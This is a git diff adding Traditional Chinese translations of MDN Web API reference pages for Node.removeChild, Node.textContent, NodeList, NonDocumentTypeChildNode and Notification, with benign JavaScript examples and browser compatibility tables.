+  <p>如果 <code>child</code> 確實是 <code>element</code> 的子元素且確實存在於 DOM，但已被刪除，則會丟出以下異常：</p>
+
+  <p><code>Uncaught NotFoundError: Failed to execute 'removeChild' on 'Node': The node to be removed is not a child of this node</code>.</p>
+ </li>
+ <li>
+  <p>如果 <code>child</code> 不存在於頁面的 DOM，則會拋出下列的異常：<br>
+   <br>
+   <code>Uncaught TypeError: Failed to execute 'removeChild' on 'Node': parameter 1 is not of type 'Node'.</code></p>
+ </li>
+</ol>
+
+<h2 id="例子">例子</h2>
+
+<h3 id="簡單的例子">簡單的例子</h3>
+
+<p>HTML:</p>
+
+<pre class="brush: html">&lt;div id="top"&gt;
+  &lt;div id="nested"&gt;&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>在知道父節點的情況下，刪除特定元素：</p>
+
+<pre class="brush:js">let d = document.getElementById("top");
+let d_nested = document.getElementById("nested");
+let throwawayNode = d.removeChild(d_nested);
+</pre>
+
+<p>沒有指定父節點的情況下，刪除特定元素：</p>
+
+<pre class="brush:js">let node = document.getElementById("nested");
+if (node.parentNode) {
+  node.parentNode.removeChild(node);
+}
+</pre>
+
+<p>從一個元素中移除所有子元素：</p>
+
+<pre class="brush:js">let element = document.getElementById("top");
+while (element.firstChild) {
+  element.removeChild(element.firstChild);
+}
+</pre>
+
+<h3 id="造成一個TypeError">造成一個TypeError</h3>
+
+<pre class="brush: html">&lt;!--Sample HTML code--&gt;
+&lt;div id="top"&gt; &lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+  let top = document.getElementById("top");
+  let nested = document.getElementById("nested");
+
+  // Throws Uncaught TypeError
+  let garbage = top.removeChild(nested);
+&lt;/script&gt;
+</pre>
+
+<h3 id="造成一個NotFoundError">造成一個NotFoundError</h3>
+
+<pre class="brush: html">&lt;!--Sample HTML code--&gt;
+&lt;div id="top"&gt;
+  &lt;div id="nested"&gt;&lt;/div&gt;
+&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+  let top = document.getElementById("top");
+  let nested = document.getElementById("nested");
+
+  // This first call correctly removes the node
+  let garbage = top.removeChild(nested);
+
+  // Throws Uncaught NotFoundError
+  garbage = top.removeChild(nested);
+&lt;/script&gt;
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-removeChild">DOM Level 1 Core: removeChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-1734834066">DOM Level 2 Core: removeChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-1734834066">DOM Level 3 Core: removeChild</a></li>
+</ul>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.Node.removeChild")}}</p>
+
+<h2 id="相關連結">相關連結</h2>
+
+<ul>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.parentNode")}}</li>
+ <li>{{domxref("ChildNode.remove")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/node/textcontent/index.html b/files/zh-tw/web/api/node/textcontent/index.html
new file mode 100644
index 0000000000..9375396158
--- /dev/null
+++ b/files/zh-tw/web/api/node/textcontent/index.html
@@ -0,0 +1,158 @@
+---
+title: Node.textContent
+slug: Web/API/Node/textContent
+translation_of: Web/API/Node/textContent
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>Node.textContent</strong></code> 屬性表示了節點或其後代的文字內容。</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox">var <em>text</em> = element.textContent;
+element.textContent = "this is some sample text";
+</pre>
+
+<h2 id="Notes" name="Notes">描述</h2>
+
+<ul>
+ <li><code>textContent</code> returns <code>null</code> if the element is a <a href="/en-US/docs/DOM/document" title="DOM/Document">document</a>, a document type, or a notation. To grab all of the text and CDATA data for the whole document, one could use<code> <a href="/en-US/docs/DOM/document.documentElement" title="DOM/document.documentElement">document.documentElement</a>.textContent</code>.</li>
+ <li>If the node is a CDATA section, a comment, a processing instruction, or a text node, <code>textContent</code> returns the text inside this node (the <a href="/en-US/docs/DOM/Node.nodeValue" title="DOM/Node/NodeValue/Node.nodeValue">nodeValue</a>).</li>
+ <li>For other node types, <code>textContent</code> returns the concatenation of the <code>textContent</code> attribute value of every child node, excluding comments and processing instruction nodes. This is an empty string if the node has no children.</li>
+ <li>Setting this property on a node removes all of its children and replaces them with a single text node with the given value.</li>
+</ul>
+
+<h3 id="與_innerText_的差異">與 <code>innerText</code> 的差異</h3>
+
+<p>Internet Explorer introduced <code>element.innerText</code>. The intention is similar but with the following differences:</p>
+
+<ul>
+ <li>While <code>textContent</code> gets the content of all elements, including {{HTMLElement("script")}} and {{HTMLElement("style")}} elements, the IE-specific property <code>innerText</code> does not.</li>
+ <li><code>innerText</code> is aware of style and will not return the text of hidden elements, whereas textContent will.</li>
+ <li>As <code>innerText</code> is aware of CSS styling, it will trigger a reflow, whereas <code>textContent</code> will not.</li>
+ <li>Unlike <code>textContent</code>, altering <code>innerText</code> in Internet Explorer (up to version 11 inclusive) not just removes child nodes from the element, but also <em>permanently destroys</em> all descendant text nodes (so it is impossible to insert the nodes again into any other element or into the same element anymore).</li>
+</ul>
+
+<h3 id="與_innerHTML_的差異">與 <code>innerHTML</code> 的差異</h3>
+
+<p><code>innerHTML</code> returns the HTML as its name indicates. Quite often, in order to retrieve or write text within an element, people use <code>innerHTML</code>. <code>textContent</code> should be used instead. Because the text is not parsed as HTML, it's likely to have better performance. Moreover, this avoids an <span title="cross-site scripting">XSS</span> attack vector.</p>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush: js">// Given the following HTML fragment:
+//   &lt;div id="divA"&gt;This is &lt;span&gt;some&lt;/span&gt; text&lt;/div&gt;
+
+// Get the text content:
+var text = document.getElementById("divA").textContent;
+// |text| is set to "This is some text".
+
+// Set the text content:
+document.getElementById("divA").textContent = "This is some text";
+// The HTML for divA is now:
+//   &lt;div id="divA"&gt;This is some text&lt;/div&gt;
+</pre>
+
+<h2 id="Polyfill_for_IE8">Polyfill for IE8</h2>
+
+<pre class="brush: js">if (Object.defineProperty
+  &amp;&amp; Object.getOwnPropertyDescriptor
+  &amp;&amp; Object.getOwnPropertyDescriptor(Element.prototype, "textContent")
+  &amp;&amp; !Object.getOwnPropertyDescriptor(Element.prototype, "textContent").get) {
+  (function() {
+    var innerText = Object.getOwnPropertyDescriptor(Element.prototype, "innerText");
+    Object.defineProperty(Element.prototype, "textContent",
+     {
+       get: function() {
+         return innerText.get.call(this);
+       },
+       set: function(s) {
+         return innerText.set.call(this, s);
+       }
+     }
+   );
+  })();
+}
+</pre>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1+</td>
+   <td>2</td>
+   <td>9</td>
+   <td>9.64 (possibly earlier)</td>
+   <td>3 (possibly earlier)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>No changes versus DOM4</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4','#dom-node-textcontent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM4')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core','core.html#Node3-textContent','Node.textContent')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Introduced</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="http://perfectionkills.com/the-poor-misunderstood-innerText/">More on differences between <code>innerText</code> and <code>textContent</code></a> (blog post)</li>
+</ul>
diff --git a/files/zh-tw/web/api/nodelist/index.html b/files/zh-tw/web/api/nodelist/index.html
new file mode 100644
index 0000000000..f431bd1761
--- /dev/null
+++ b/files/zh-tw/web/api/nodelist/index.html
@@ -0,0 +1,219 @@
+---
+title: NodeList
+slug: Web/API/NodeList
+translation_of: Web/API/NodeList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>NodeList</code></strong> 物件是節點的集合，可藉由 {{domxref("Node.childNodes")}} 屬性以及 {{domxref("document.querySelectorAll()")}} 方法取得。</p>
+
+<div class="note">
+<p>雖然 <code>NodeList</code> 不是 <code>Array</code>，但仍可以使用 <code>forEach()</code> 方法來進行迭代。一些老舊瀏覽器並未實作此方法。</p>
+</div>
+
+<p>在某些情況下，<code>NodeList</code> 為<em>動態集合（live collection）</em>，意思是 DOM 的改變會反映於集合。例如，{{domxref("Node.childNodes")}} 便是即時更新（live）的：</p>
+
+<pre class="brush: js">var parent = document.getElementById('parent');
+var child_nodes = parent.childNodes;
+console.log(child_nodes.length); // let's assume "2"
+parent.appendChild(document.createElement('div'));
+console.log(child_nodes.length); // should output "3"
+</pre>
+
+<p>在其他的情況下，<code>NodeList</code> 是一個<em>靜態的集合（static collection）</em>，代表任何之後的 DOM 變化都不會影響集合的內容。{{domxref("document.querySelectorAll()")}} 會回傳一個靜態的 <code>NodeList</code>。</p>
+
+<p>當你要選擇如何迭代 <code>NodeList</code> 中的項目時，最好能於心中區分動態與靜態集合，尤其是在取得集合長度（length of the list）的時候。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.length")}}</dt>
+ <dd>The number of nodes in the <code>NodeList</code>.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("NodeList.item()")}}</dt>
+ <dd>Returns an item in the list by its index, or <code>null</code> if the index is out-of-bounds; can be used as an alternative to simply accessing <code>nodeList[idx]</code> (which instead returns  <code>undefined</code> when <code>idx</code> is out-of-bounds).</dd>
+ <dt>{{domxref("NodeList.entries()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols","iterator")}} allowing to go through all key/value pairs contained in this object.</dd>
+ <dt>{{domxref("NodeList.forEach()")}}</dt>
+ <dd>Executes a provided function once per <code>NodeList</code> element.</dd>
+ <dt>{{domxref("NodeList.keys()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing to go through all keys of the key/value pairs contained in this object.</dd>
+ <dt>{{domxref("NodeList.values()")}}</dt>
+ <dd>Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing to go through all values of the key/value pairs contained in this object.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>It's possible to loop over the items in a <code>NodeList</code> using:</p>
+
+<pre class="brush: js">for (var i = 0; i &lt; myNodeList.length; ++i) {
+  var item = myNodeList[i];  // Calling myNodeList.item(i) isn't necessary in JavaScript
+}
+</pre>
+
+<p>Don't be tempted to use <code><a href="/en-US/docs/JavaScript/Reference/Statements/for...in" title="JavaScript/ Reference/Statements/for...in">for...in</a></code> or <code><a href="/en-US/docs/JavaScript/Reference/Statements/for_each...in" title="JavaScript/ Reference/Statements/for each...in">for each...in</a></code> to enumerate the items in the list, since that will also enumerate the length and item properties of the <code>NodeList</code> and cause errors if your script assumes it only has to deal with {{domxref("element")}} objects. Also, <code>for..in</code> is not guaranteed to visit the properties in any particular order.</p>
+
+<p><code><a href="/en-US/docs/JavaScript/Reference/Statements/for...of" title="/en-US/docs/JavaScript/Reference/Statements/for...of">for...of</a></code> loops will loop over <code>NodeList</code> objects correctly:</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+for (var item of list) {
+  item.checked = true;
+}</pre>
+
+<p>Recent browsers also support iterator methods, {{domxref("NodeList.forEach()", "forEach()")}}, as well as {{domxref("NodeList.entries()", "entries()")}}, {{domxref("NodeList.values()", "values()")}}, and {{domxref("NodeList.keys()", "keys()")}}</p>
+
+<p>There is also an Internet Explorer compatible way to use {{jsxref("Array.forEach()", "Array.prototype.forEach")}} for iteration.</p>
+
+<pre class="brush: js">var list = document.querySelectorAll( 'input[type=checkbox]' );
+Array.prototype.forEach.call(list, function (item) {
+  item.checked = true;
+});</pre>
+
+<h2 id="Specifications" name="Specifications">NodeList 原型</h2>
+
+<p>You can also add prototypes to nodelist:</p>
+
+<pre class="brush: js">var elements = document.querySelectorAll(".suggestions");
+
+NodeList.prototype.addEventListener = function(event, func) {
+    this.forEach(function(content, item) {
+       content.addEventListener(event, func);
+    });
+}
+
+function log() {
+    console.log(this, " was clicked");
+}
+
+elements.addEventListener("click", log);
+//or
+elements.addEventListener("click", function() {
+    console.log(this, "  awas clicked");
+});
+// output from both will be <em>element </em>was clicked the element would be HTML Element</pre>
+
+<p>For information about forEach see <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Web/JavaScript/Reference/Global_Objects/Array/forEach">Array.prototype.forEach()</a></p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM4', '#interface-nodelist', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM4') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM3 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM2 Core') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-536297177', 'NodeList')}}</td>
+   <td>{{ Spec2('DOM1') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, <code>forEach()</code></td>
+   <td>{{CompatChrome(51)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(50)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>38</td>
+   <td>10 (maybe prior)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>entries()</code>, <code>keys()</code>, <code>values()</code>, <code>forEach()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(50)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>10 (maybe prior)</td>
+   <td>{{CompatChrome(51)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/zh-tw/web/api/nondocumenttypechildnode/index.html b/files/zh-tw/web/api/nondocumenttypechildnode/index.html
new file mode 100644
index 0000000000..31fb8c91e5
--- /dev/null
+++ b/files/zh-tw/web/api/nondocumenttypechildnode/index.html
@@ -0,0 +1,125 @@
+---
+title: NonDocumentTypeChildNode
+slug: Web/API/NonDocumentTypeChildNode
+translation_of: Web/API/NonDocumentTypeChildNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><code><strong>NonDocumentTypeChildNode</strong></code> 介面定義了可以擁有父節點但不適用 {{domxref("DocumentType")}} 之 {{domxref("Node")}} 物件的方法。</p>
+
+<p><code>NonDocumentTypeChildNode</code> 是一個原始的介面，且不能以此建立物件實體。{{domxref("Element")}} 及 {{domxref("CharacterData")}} 物件皆實作了 <code>NonDocumentTypeChildNode</code>。</p>
+
+<h2 id="屬性">屬性</h2>
+
+<p><em>There is no inherited property.</em></p>
+
+<dl>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately prior to this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list prior to this node.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Element")}} immediately following this node in its parent's children list, or <code>null</code> if there is no {{domxref("Element")}} in the list following this node.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<p><em>There is neither inherited, nor specific method.</em></p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'NonDocumentTypeChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Splitted the <code>ElementTraversal</code> interface in {{domxref("ParentNode")}}, {{domxref("ChildNode")}}, and <code>NonDocumentTypeChildNode</code>. The <code>previousElementSibling</code> and <code>nextElementSibling</code> are now defined on the latter.<br>
+    The {{domxref("CharacterData")}} and {{domxref("Element")}} implemented the new interfaces.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Added the initial definition of its properties to the <code>ElementTraversal</code> pure interface and use it on {{domxref("Element")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("25.0")}} [1]</td>
+   <td>9.0</td>
+   <td>10.0</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (on {{domxref("Element")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>Support (on {{domxref("CharacterData")}})</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatGeckoDesktop("25.0")}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>10.0</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 25 also added the two properties defined here on {{domxref("DocumentType")}}, this was removed in Firefox 28 due to compatibility problems, and led to the creation of this new pure interface.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{domxref("ParentNode")}} and {{domxref("ChildNode")}} pure interface.</li>
+ <li>
+  <div class="syntaxbox">Object types implementing this pure interface: {{domxref("CharacterData")}}, and {{domxref("Element")}}.</div>
+ </li>
+</ul>
diff --git a/files/zh-tw/web/api/notification/index.html b/files/zh-tw/web/api/notification/index.html
new file mode 100644
index 0000000000..fc1e0f9434
--- /dev/null
+++ b/files/zh-tw/web/api/notification/index.html
@@ -0,0 +1,355 @@
+---
+title: Notification
+slug: Web/API/notification
+tags:
+  - 待翻譯
+translation_of: Web/API/Notification
+---
+<p>{{APIRef("Web Notifications")}}</p>
+
+<p><a href="/zh-TW/docs/Web/API/Notifications_API">Notifications API</a> 的 <code>Notification</code> interface 是用來設置及顯示「桌面通知」給使用。</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Notification.Notification", "Notification()")}}</dt>
+ <dd>建立一個新的 {{domxref('Notification')}} 實例。</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<h3 id="靜態屬性">靜態屬性</h3>
+
+<p>以下的屬性僅適用於 <code>Notification</code> 實例。</p>
+
+<dl>
+ <dt>{{domxref("Notification.permission")}} {{readonlyinline}}</dt>
+ <dd>一個表示允許通知顯示與否的權限的 string。可能的值有：「denied」(使用者不允許顯示 Notification )、「granted」(使用者允許顯示 Notification )，或者是「default」(還不知道使用者允許與否，預設行為與 denied 一致)。</dd>
+</dl>
+
+<h3 id="實例屬性">實例屬性</h3>
+
+<p>以下屬應僅適用於 <code>Notification</code> 實例。</p>
+
+<dl>
+ <dt>{{domxref("Notification.title")}} {{readonlyinline}}</dt>
+ <dd>在建構子的 options 參數中指定的 Notification 的標題。</dd>
+ <dt>{{domxref("Notification.dir")}} {{readonlyinline}}</dt>
+ <dd>在建構子的 options 參數中指定的 Notification 的文字顯示方向。</dd>
+ <dt>{{domxref("Notification.lang")}} {{readonlyinline}}</dt>
+ <dd>在建構子的 options 參數中指定的 Notification 的語言代號。</dd>
+ <dt>{{domxref("Notification.body")}} {{readonlyinline}}</dt>
+ <dd>在建構子的 options 參數中指定的 Notification 的內容。</dd>
+ <dt>{{domxref("Notification.tag")}} {{readonlyinline}}</dt>
+ <dd>The ID of the notification (if any) as specified in the options parameter of the constructor.</dd>
+ <dt>{{domxref("Notification.icon")}} {{readonlyinline}}</dt>
+ <dd>在建構子的 options 參數中指定的 Notification 的 icon 的網址。</dd>
+ <dt>{{domxref("Notification.data")}} {{readonlyinline}}</dt>
+ <dd>回傳結構化的 Notification 的資料。</dd>
+ <dt>{{domxref("Notification.requireInteraction")}} {{readonlyinline}}</dt>
+ <dd>一個 {{jsxref("Boolean")}} 指示在有充足大小的螢幕上的時候，Notfication 實例是否會持續顯示直到使用者點擊它或者 dismisses it。</dd>
+ <dt>{{domxref("Notification.silent")}} {{readonlyinline}}</dt>
+ <dd>表示 Notfication 是否設定要以較低調的方式呈現(比如不撥放通知音效、不震動)。這個設定與裝置本身的設定無關。</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Notification.timestamp")}} {{readonlyinline}}</dt>
+ <dd>表示 Notification 的建立時間、或者可啟動的時間 (可能是過去、現在或未來)。</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Notification.vibrate")}} {{readonlyinline}}</dt>
+ <dd>表示在可震動的裝置上的震動模式。</dd>
+</dl>
+
+<h4 id="尚未支援的屬性">尚未支援的屬性</h4>
+
+<p>The following properties are listed in the most up-to-date spec, but are not supported in any browsers yet. It is advisable to keep checking back regularly to see if the status of these has updated, and let us know if you find any out of date information.</p>
+
+<dl>
+ <dt>{{domxref("Notification.noscreen")}} {{readonlyinline}}</dt>
+ <dd>表示 Notification 顯示時是否要打開裝置的螢幕。</dd>
+ <dt>{{domxref("Notification.renotify")}} {{readonlyinline}}</dt>
+ <dd>表示使用者是否會在舊的 Notification 被新的 Notification 替換掉時通知。</dd>
+ <dt>{{domxref("Notification.sound")}} {{readonlyinline}}</dt>
+ <dd>表示當 Notification 顯示時要用來代替系統預設音效撥放的音訊資源。</dd>
+ <dt>{{domxref("Notification.sticky")}} {{readonlyinline}}</dt>
+ <dd>表示 Notification 是否「sticky」(比如使用者不太容易清除它)。</dd>
+</dl>
+
+<h4 id="事件處理器">事件處理器</h4>
+
+<dl>
+ <dt>{{domxref("Notification.onclick")}}</dt>
+ <dd>一個 {{event("click")}} 事件的 handler。每次使用者點擊 Notification 都會被觸發。</dd>
+ <dt>{{domxref("Notification.onerror")}}</dt>
+ <dd>一個 {{event("error")}} 事件的 handler. 每次 Notification 發生 Error 都會被觸發。</dd>
+</dl>
+
+<h4 id="停止支援的事件處理器">停止支援的事件處理器</h4>
+
+<p>底下這些列在 {{anch("browser compatibility")}} 中的 event handlers 雖然還有支援，但已經從近期的 spec 中移除了。因為瀏覽器會在未來的版本逐漸停止支援，最好還是不要使用它們。</p>
+
+<dl>
+ <dt>{{domxref("Notification.onclose")}}</dt>
+ <dd>A handler for the {{event("close")}} event. It is triggered when the user closes the notification.</dd>
+ <dt>{{domxref("Notification.onshow")}}</dt>
+ <dd>A handler for the {{event("show")}} event. It is triggered when the notification is displayed.</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<h3 id="靜態方法">靜態方法</h3>
+
+<p>這些方法只能在<code> Notification 實例上使用。</code></p>
+
+<dl>
+ <dt>{{domxref("Notification.requestPermission()")}}</dt>
+ <dd>向使用者詢問是否開放顯示 Notification 的權限。</dd>
+</dl>
+
+<h3 id="實例方法">實例方法</h3>
+
+<p>These properties are available only on an instance of the <code>Notification</code> object or through its <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain"><code>prototype</code></a>. The <code>Notification</code> object also inherits from the {{domxref("EventTarget")}} interface.</p>
+
+<dl>
+ <dt>{{domxref("Notification.close()")}}</dt>
+ <dd>透過這個方法關閉 Notification 。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>先看這段基本的 HTML：</p>
+
+<pre class="brush: html">&lt;button onclick="notifyMe()"&gt;Notify me!&lt;/button&gt;</pre>
+
+<p>用下面的程式碼我們可以送出通知： 底下的程式碼雖然略嫌冗長，但完整的示範了如何在送出通知之前，事先檢查了瀏覽器是否支援 Notification、使用者是否授權這個網域的網頁送出通知，以及在需要的時候向使用者詢問是否開放權限。</p>
+
+<pre class="brush: js">function notifyMe() {
+  // 首先讓我們確定瀏覽器支援 Notification
+  if (!("Notification" in window)) {
+    alert("這個瀏覽器不支援 Notification");
+  }
+
+  // 再檢查使用者是否已經授權執行 Notification
+  else if (Notification.permission === "granted") {
+    // 如果已經授權就可以直接新增 Notification 了!
+    var notification = new Notification("安安你好!");
+  }
+
+  // 否則，我們會需要詢問使用者是否開放權限
+  else if (Notification.permission !== 'denied') {
+    Notification.requestPermission(function (permission) {
+      // 如果使用者同意了就來新增一個 Notification 打聲招呼吧
+      if (permission === "granted") {
+        var notification = new Notification("安安~");
+      }
+    });
+  }
+
+  // 如果使用者還是不同意授權執行 Notification
+  // 最好還是進行適當的處理以避免繼續打擾使用者
+}</pre>
+
+<p>{{EmbedLiveSample('範例', '100%', 30)}}</p>
+
